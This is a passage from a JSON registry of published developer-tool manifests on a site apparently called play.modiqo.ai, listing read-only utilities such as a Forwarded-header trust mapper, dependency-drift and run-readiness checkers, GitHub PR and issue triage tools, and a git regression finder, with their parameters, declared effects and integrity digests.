demo.","example":"./experiment-summary.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4ce6731cf5c7857410fb93021c043c330debfdd9c9752f6577774f459f6f1277","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/forwarded-header-trust-map@0.1.0","reference":"himanshu-jha/forwarded-header-trust-map@0.1.0","uri":"https://play.modiqo.ai/himanshu-jha/forwarded-header-trust-map@0.1.0","manifest_uri":"https://play.modiqo.ai/himanshu-jha/forwarded-header-trust-map@0.1.0","name":"forwarded-header-trust-map","title":"forwarded-header-trust-map","description":"Builds a source-to-sink trust map for Forwarded, X-Forwarded-For and related client identity headers. Four independent probes enumerate attacker-controlled sources, trace taint through every declared proxy action, audit sanitizer boundaries, and identify sensitive authorization or routing sinks; a join refuses to call the system safe when any leg did not run. It is useful before enabling framework proxy-trust settings or IP allowlists behind layered CDNs and ingress proxies. The model is static and read-only: it never sends spoofed traffic, validates a CIDR, or proves that production matches the supplied topology.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-security","domain-application-security","forwarded-headers","proxy-trust","taint-analysis","threat-modeling"],"primary_domain":"domain-application-security","author":"himanshu748","version":"0.1.0","published_at":"2026-09-04T09:01:11.060645+00:00","visibility":"public","quality_score":1,"size_bytes":8209,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["trace_header_hops","map_untrusted_sources","locate_sensitive_sinks","inspect_sanitizer_boundaries","assess_forwarded_header_trust"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Path to a JSON topology. Empty uses the packaged adversarial demo; a non-empty missing or malformed path is fatal.","example":"./proxy-topology.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:20e497dba01d9023aadd16d486d36e136786ff9d1865423ad52a0411fb53d85c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/varunloni23/pr-revert-horizon@0.1.0","reference":"varunloni23/pr-revert-horizon@0.1.0","uri":"https://play.modiqo.ai/varunloni23/pr-revert-horizon@0.1.0","manifest_uri":"https://play.modiqo.ai/varunloni23/pr-revert-horizon@0.1.0","name":"pr-revert-horizon","title":"pr-revert-horizon","description":"Finds the first later base-branch commit or merged pull request that overlaps a target merged GitHub PR by exact path, rename chain, or high-risk semantic key. Reports the observed low-entanglement window, direct evidence links, scan boundaries, and uncertainty. Read-only; never changes or reverts code and never claims a revert is safe.","owner":{"kind":"user","slug":"varunloni23"},"registry_organization":"varunloni23","tags":["github","pull-request","rollback","revert","incident-response","change-risk","developer-tools","read-only"],"primary_domain":"domain-uncategorized","author":"varunloni23","version":"0.1.0","published_at":"2026-09-04T08:30:28.495006+00:00","visibility":"public","quality_score":0.875,"size_bytes":17065,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["scan_horizon","validate_input"]},"parameters":[{"name":"pr_url","type":"string","required":true,"description":"Canonical URL of a merged public GitHub pull request. The Play reads public PR metadata and diff patches only.","example":"https://github.com/owner/repository/pull/123"},{"name":"max_later_commits","type":"integer","required":false,"default":"10","description":"Maximum number of contiguous base-branch commits after the merge to inspect. A bounded scan is evidence, never proof of revert safety.","example":"10"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1c79ac8ef6bd27d46893c385fedc5ae30a2f7daf1688ab4ab1e2537ac205b4ea","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dhruvdawar1102/run-readiness@0.1.0","reference":"dhruvdawar1102/run-readiness@0.1.0","uri":"https://play.modiqo.ai/dhruvdawar1102/run-readiness@0.1.0","manifest_uri":"https://play.modiqo.ai/dhruvdawar1102/run-readiness@0.1.0","name":"run-readiness","title":"run-readiness","description":"Before you waste 20 minutes trying to run a project, reports exactly what is missing. Checks the declared runtime and its version pin, the configuration a project declares versus what is actually available, and any local services it declares, then reports every requirement with the evidence that produced it and a HIGH/MEDIUM/UNKNOWN confidence. Strictly read-only: it never modifies the project, installs nothing, contacts no external service, and reads configuration for variable names only so secret values are never exposed.","owner":{"kind":"user","slug":"dhruvdawar1102"},"registry_organization":"dhruvdawar1102","tags":["explore","tell","run-readiness","environment-configuration","dotenv","missing-env-vars","preflight","blockers","project-setup","why-wont-this-run"],"primary_domain":"domain-uncategorized","author":"Dhruvdawar11022006","version":"0.1.0","published_at":"2026-09-04T08:16:32.074893+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":13578,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["detect_runtime","config_requirements","check_local_services","check_runtime_available"]},"parameters":[{"name":"project","type":"string","required":true,"description":"Absolute or ~-relative path to the project directory to check"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c5b15a5fec5a6382447c249ae1d449e2edba29e9b94d6b9a02c43cc6b0bab221","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aryanshah012/agentready@0.2.0","reference":"aryanshah012/agentready@0.2.0","uri":"https://play.modiqo.ai/aryanshah012/agentready@0.2.0","manifest_uri":"https://play.modiqo.ai/aryanshah012/agentready@0.2.0","name":"agentready","title":"agentready","description":"Runs a bounded static production-readiness audit of a local AI/LLM/RAG/agent project across architecture, providers, retrieval, dependencies, secret risk, reliability, tool safety, deployment, observability, and documentation. Read-only, offline, never executes target code, and never reveals matched secret values.","owner":{"kind":"user","slug":"aryanshah012"},"registry_organization":"aryanshah012","tags":["ai","llm","rag","llmops","agents","ai-safety","production-readiness","repo-audit","deployment-audit","audit","typescript","rote-playoffs"],"primary_domain":"domain-uncategorized","author":"aryanshah012","version":"0.2.0","published_at":"2026-09-04T07:52:57.93707+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":37187,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["audit_project"]},"parameters":[{"name":"project","type":"string","required":false,"default":"","description":"Absolute path to one local AI project for single-project mode; omit when using diff mode."},{"name":"previous_project","type":"string","required":false,"default":"","description":"Absolute path to the previous project state for read-only diff mode; requires current_project."},{"name":"current_project","type":"string","required":false,"default":"","description":"Absolute path to the current project state for read-only diff mode; requires previous_project."},{"name":"llm_provider","type":"string","required":false,"default":"","description":"Optional reviewer provider (openai, anthropic, gemini, or mock); deterministic mode is used when omitted."},{"name":"llm_model","type":"string","required":false,"default":"","description":"Optional reviewer model name."},{"name":"max_files","type":"integer","required":false,"default":3000,"description":"Maximum files discovered before coverage becomes partial."},{"name":"max_bytes","type":"integer","required":false,"default":1000000,"description":"Maximum bytes read from one eligible text file."},{"name":"max_total_bytes","type":"integer","required":false,"default":100000000,"description":"Maximum total bytes read across eligible text files before coverage becomes partial."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3d44295e3abfd2afc6f0a220b9c7caea5aa7d5b85be3bf0082a1247021eb942b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/adnandev/dep-drift@0.1.0","reference":"adnandev/dep-drift@0.1.0","uri":"https://play.modiqo.ai/adnandev/dep-drift@0.1.0","manifest_uri":"https://play.modiqo.ai/adnandev/dep-drift@0.1.0","name":"dep-drift","title":"dep-drift","description":"Finds the dependencies your code imports but never declares, which is how a project that works on your machine fails on a clean install. On a real polyglot repository this found 129 packages imported from source with no entry in any manifest, alongside 21 declared and never imported. Three DAG steps: one reader that parses every package.json, requirements.txt and pyproject.toml, one that parses actual import and require statements across .py, .js, .jsx, .ts, .tsx, .mjs and .cjs, and one join that classifies each dependency as both, never imported, never declared, or build tooling. Standard library, relative imports, sibling modules in the same tree, tsconfig path aliases and framework virtual modules are all excluded, and build tools are separated out rather than counted against you, so the number is conservative by construction. Finding no manifest prints INDETERMINATE instead of a confident zero. Read-only toward your project: it installs nothing, removes nothing, edits no file you already have, makes no network call, carries no credentials, and needs only python3. The one thing it writes is its own dep-drift.json report, inside the run workspace.","owner":{"kind":"user","slug":"adnandev"},"registry_organization":"adnandev","tags":["dependencies","imports","supply-chain","python","javascript","code-quality"],"primary_domain":"domain-uncategorized","author":"adnandev","version":"0.1.0","published_at":"2026-09-04T06:13:19.518392+00:00","visibility":"public","quality_score":1,"size_bytes":19432,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":3,"names":["report_drift","scan_imports","read_manifests"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Directory to analyse. Defaults to the current directory. Point it at a repository root, or at a folder of repositories to treat them as one surface."},{"name":"top_n","type":"string","required":false,"default":"20","description":"How many rows to print per section. Never changes a count, only how much of each list is shown."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings prints the top rows per section. all prints every row. Neither setting changes a count."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9a15e9b383a944d6ff9a2ebd1f19f01072c3cd9d27cd76937a523f71a8f4e09a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aaryanp/github-unlabeled-unassigned-issues@0.0.1","reference":"aaryanp/github-unlabeled-unassigned-issues@0.0.1","uri":"https://play.modiqo.ai/aaryanp/github-unlabeled-unassigned-issues@0.0.1","manifest_uri":"https://play.modiqo.ai/aaryanp/github-unlabeled-unassigned-issues@0.0.1","name":"github-unlabeled-unassigned-issues","title":"github-unlabeled-unassigned-issues","description":"Lists open GitHub issues in owner/repo that have no labels, no assignee, and have been open longer than N days (default 14), oldest first.","owner":{"kind":"user","slug":"aaryanp"},"registry_organization":"aaryanp","tags":["typescript","github","issues","triage","explore","anthropic","claude","code"],"primary_domain":"domain-uncategorized","author":"aaryanp","version":"0.0.1","published_at":"2026-09-04T06:11:44.382456+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":4905,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":3,"names":["auth_github","compute_cutoff_date","search_stale_issues"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner (org or user), e.g. anthropics"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name, e.g. claude-code"},{"name":"days","type":"string","required":false,"default":"14","description":"Minimum number of days an issue must have been open to be included"},{"name":"max_results","type":"string","required":false,"default":"100","description":"Max issues to return (GitHub search API caps a single page at 100); results are oldest-first so the most overdue issues are never truncated out"}],"execution":{"adapters":[{"id":"aaryanp/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d87ce44ea8940cd28f4d857a15177ce8d8ed9500cbcce79dafc7a0a8b06b41bd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":1,"shell":1,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[{"adapter":"github","steps":2,"methods":["search/issues-and-pull-requests"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"aaryanp/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":{"api_tokens":433294,"context_tokens":43986,"exploration_ms":21712,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/harshitborana75/devops-job-radar@0.0.1","reference":"harshitborana75/devops-job-radar@0.0.1","uri":"https://play.modiqo.ai/harshitborana75/devops-job-radar@0.0.1","manifest_uri":"https://play.modiqo.ai/harshitborana75/devops-job-radar@0.0.1","name":"devops-job-radar","title":"devops-job-radar","description":"DevOps Job Radar & Matcher: Sweeps legitimate public APIs (HN Who's Hiring, Reddit r/devops) for DevOps roles, evaluates match scores (0-100) against candidate CV skills (Kubernetes, Terraform, CI/CD, AWS, SRE), maintains living CSV with manual status note preservation & STALE marking, and explicitly flags LinkedIn/Naukri/Indeed for manual checking.","owner":{"kind":"user","slug":"harshitborana75"},"registry_organization":"harshitborana75","tags":["typescript","devops","job-search","hacker-news","reddit","kubernetes","terraform","aws","sre","living-csv"],"primary_domain":"domain-uncategorized","author":"harshitborana75","version":"0.0.1","published_at":"2026-09-04T05:52:14.302065+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5303,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["sweep_jobs"]},"parameters":[{"name":"skills","type":"string","required":false,"default":"Kubernetes, Terraform, CI/CD, AWS, SRE","description":"Candidate DevOps skills (comma-separated)"},{"name":"min_score","type":"string","required":false,"default":"50","description":"Minimum DevOps match score threshold (0-100)"},{"name":"output_file","type":"string","required":false,"default":"devops_jobs.csv","description":"Living CSV output file path for durable job tracking"},{"name":"format","type":"string","required":false,"default":"terminal","description":"Output format (terminal | markdown | json | csv)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e6d9d4196bc1616802b64c8c0d1be75ceb3f126a16cf4c6ca4bc9d21f5ff16d8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/shashankinguva/pr-risk-digest@0.0.4","reference":"shashankinguva/pr-risk-digest@0.0.4","uri":"https://play.modiqo.ai/shashankinguva/pr-risk-digest@0.0.4","manifest_uri":"https://play.modiqo.ai/shashankinguva/pr-risk-digest@0.0.4","name":"pr-risk-digest","title":"pr-risk-digest","description":"Scans ALL open GitHub PRs and produces a risk digest table: staleness, CI status, review state, size, and test-file coverage, flagging HIGH RISK PRs. Candidate set = every stale PR (exhaustive) plus a bounded recent-activity sample.","owner":{"kind":"user","slug":"shashankinguva"},"registry_organization":"shashankinguva","tags":["typescript","github","pull-requests","risk-digest"],"primary_domain":"domain-uncategorized","author":"shashankinguva","version":"0.0.4","published_at":"2026-09-04T04:02:54.377497+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6020,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":0,"names":[]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner/org"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"stale_days","type":"integer","required":false,"default":"30","description":"Days since last activity beyond which a PR is HIGH-risk staleness; also drives the recent-sample split"},{"name":"stale_days_medium","type":"integer","required":false,"default":"14","description":"Days since last activity beyond which a PR is MEDIUM-risk staleness (between this and stale_days); also the cutoff for the full exhaustive scan, so both bands are fully covered, not sampled"},{"name":"recent_sample","type":"integer","required":false,"default":"100","description":"How many of the most-recently-updated non-stale PRs to also scan, to catch fresh CI-failing/unreviewed PRs"}],"execution":{"adapters":[{"id":"shashankinguva/github","name":"github","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:38b0b78793c5b73e735ceb93c3b26624371267eb0c082c15e0f8fb9a9c0be075","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":134},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/mohdavaish/data-pipeline-sentinel@0.1.0","reference":"mohdavaish/data-pipeline-sentinel@0.1.0","uri":"https://play.modiqo.ai/mohdavaish/data-pipeline-sentinel@0.1.0","manifest_uri":"https://play.modiqo.ai/mohdavaish/data-pipeline-sentinel@0.1.0","name":"data-pipeline-sentinel","title":"data-pipeline-sentinel","description":"Autonomous schema integrity and data corruption sentinel for pipelines and model training sets.","owner":{"kind":"user","slug":"mohdavaish"},"registry_organization":"mohdavaish","tags":["data-science","pipeline-hygiene","sentinel","observability"],"primary_domain":"domain-uncategorized","author":"mohdavaish","version":"0.1.0","published_at":"2026-09-04T04:01:56.775838+00:00","visibility":"public","quality_score":0.649999976158142,"size_bytes":2026,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["audit"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:82746668bdae9771c4b0cda6d3b5f3e3ef332fd12546c251b400fee813459af7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/balajithukuntala/claude-code-shell-doctor@0.4.2","reference":"balajithukuntala/claude-code-shell-doctor@0.4.2","uri":"https://play.modiqo.ai/balajithukuntala/claude-code-shell-doctor@0.4.2","manifest_uri":"https://play.modiqo.ai/balajithukuntala/claude-code-shell-doctor@0.4.2","name":"claude-code-shell-doctor","title":"claude-code-shell-doctor","description":"Writes exactly one file: ~/.rote/claude-code-shell-doctor/history.jsonl (append-only); makes no other writes, never edits shell config, never calls sudo, never prints token values. Diagnoses why Claude Code breaks from shell-environment issues: node/npx shim shadowing, unreachable provider API base-URL gateways (Anthropic, OpenAI, OpenRouter, Ollama) probed by real TCP connection, and .bashrc interactive-guard env leakage across interactive vs non-interactive shells; opens each report with what changed since the last run. Covers WSL/Windows (interop shadowing, /mnt/c PATH pollution) as well as Linux and macOS.","owner":{"kind":"user","slug":"balajithukuntala"},"registry_organization":"balajithukuntala","tags":[],"primary_domain":"domain-uncategorized","author":"balajithukuntala","version":"0.4.2","published_at":"2026-09-03T17:51:59.058594+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":9724,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":3,"names":["record_history","probe_shell_env","probe_node_profile"]},"parameters":[{"name":"home_dir","type":"string","required":false,"default":"","description":"Home directory to inspect; empty uses the runtime $HOME."},{"name":"expected_node_version","type":"string","required":false,"default":"","description":"Node version Claude Code should run under (e.g. v24.18.0); empty infers it from the node sibling of the claude binary."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3bceac09b5162c1c27c195e2302344784333dffdced7b402f64e5f14330ff927","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/harshitborana75/qa-agent@0.0.3","reference":"harshitborana75/qa-agent@0.0.3","uri":"https://play.modiqo.ai/harshitborana75/qa-agent@0.0.3","manifest_uri":"https://play.modiqo.ai/harshitborana75/qa-agent@0.0.3","name":"qa-agent","title":"qa-agent","description":"QA-Agent (v0.0.2): Automated Web Quality Analyst & Remediation Engine. Connects to real local/remote code repositories on disk to inspect TypeScript/JavaScript source files for real bug patterns (unhandled promise rejections, unsafe JSON.parse, swallowed errors, broken imports), maps findings to file paths and line numbers, and opens draft GitHub PRs on demand.","owner":{"kind":"user","slug":"harshitborana75"},"registry_organization":"harshitborana75","tags":["typescript","qa-agent","web-audit","crawler","bug-hunter","static-analysis","auto-remediation","github-pr","zero-markdown"],"primary_domain":"domain-uncategorized","author":"harshitborana75","version":"0.0.3","published_at":"2026-09-03T17:39:46.366981+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5969,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["audit_engine"]},"parameters":[{"name":"url","type":"string","required":false,"default":"https://example.com","description":"Live or staging web application target URL"},{"name":"repo","type":"string","required":false,"default":"harshitborana75/password-breach-check","description":"GitHub repository context (owner/repo)"},{"name":"fix","type":"string","required":false,"description":"Optional remediation action e.g. BUG-01, p0, or all"},{"name":"max_pages","type":"string","required":false,"default":"25","description":"Maximum internal pages/routes to crawl"},{"name":"severity","type":"string","required":false,"default":"all","description":"Severity filter (all | p0 | p1 | p2)"},{"name":"format","type":"string","required":false,"default":"terminal","description":"Output format (terminal | markdown | json)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0044b96e34f15697926bd08eebb6a3159ee4a1a5cdf63885e1e0efea8fc680d1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/pooja-bhavani/context-packer@1.1.0","reference":"pooja-bhavani/context-packer@1.1.0","uri":"https://play.modiqo.ai/pooja-bhavani/context-packer@1.1.0","manifest_uri":"https://play.modiqo.ai/pooja-bhavani/context-packer@1.1.0","name":"context-packer","title":"context-packer","description":"Scans a codebase, estimates LLM token costs (Claude/GPT-4o/Gemini), identifies bloat, and generates an XML context payload + optimization report.","owner":{"kind":"user","slug":"pooja-bhavani"},"registry_organization":"pooja-bhavani","tags":["python","token-optimization","llm","context-packing","code-analysis"],"primary_domain":"domain-uncategorized","author":"pooja-bhavani","version":"1.1.0","published_at":"2026-09-03T17:31:48.557182+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5544,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["run_pipeline"]},"parameters":[{"name":"target_dir","type":"string","required":false,"default":".","description":"Directory to scan (defaults to current directory)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4de0d9c6964b3d6b1de862a217b5499ae326ec254a6cd71727f7a09ebc7bb1ef","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/agastya/traceup@0.2.0","reference":"agastya/traceup@0.2.0","uri":"https://play.modiqo.ai/agastya/traceup@0.2.0","manifest_uri":"https://play.modiqo.ai/agastya/traceup@0.2.0","name":"traceup","title":"traceup","description":"Finds the first Git commit that makes your test fail without changing your working copy.","owner":{"kind":"user","slug":"agastya"},"registry_organization":"agastya","tags":["git","regression","bisect","evidence","github","typescript"],"primary_domain":"domain-uncategorized","author":"agastya","version":"0.2.0","published_at":"2026-09-03T16:43:21.0121+00:00","visibility":"public","quality_score":0.875,"size_bytes":7276,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":6,"names":["culprit_sha","github_commit","regression_proof","github_repo_value","github_owner_value","github_pull_requests"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Absolute path to the target Git working tree; it is only read to create an isolated clone."},{"name":"good_ref","type":"string","required":true,"description":"A known healthy Git revision. Run from the target repository."},{"name":"bad_ref","type":"string","required":true,"description":"A known failing Git revision, such as HEAD."},{"name":"test_command","type":"string","required":true,"description":"Command that exits zero when healthy and nonzero when failing."},{"name":"setup_command","type":"string","required":false,"default":"","description":"Optional preparation command run before each test attempt."},{"name":"repeat_count","type":"string","required":false,"default":"2","description":"Number of endpoint and boundary test repetitions."},{"name":"timeout","type":"string","required":false,"default":"60","description":"Per-command timeout in seconds."},{"name":"github_enrichment","type":"boolean","required":false,"default":false,"description":"When true, enrich a proven culprit with read-only GitHub commit and pull-request provenance. Leave false for non-GitHub repositories."},{"name":"github_owner","type":"string","required":false,"default":"","description":"Optional GitHub owner override. Normally inferred locally from an origin remote when github_enrichment is 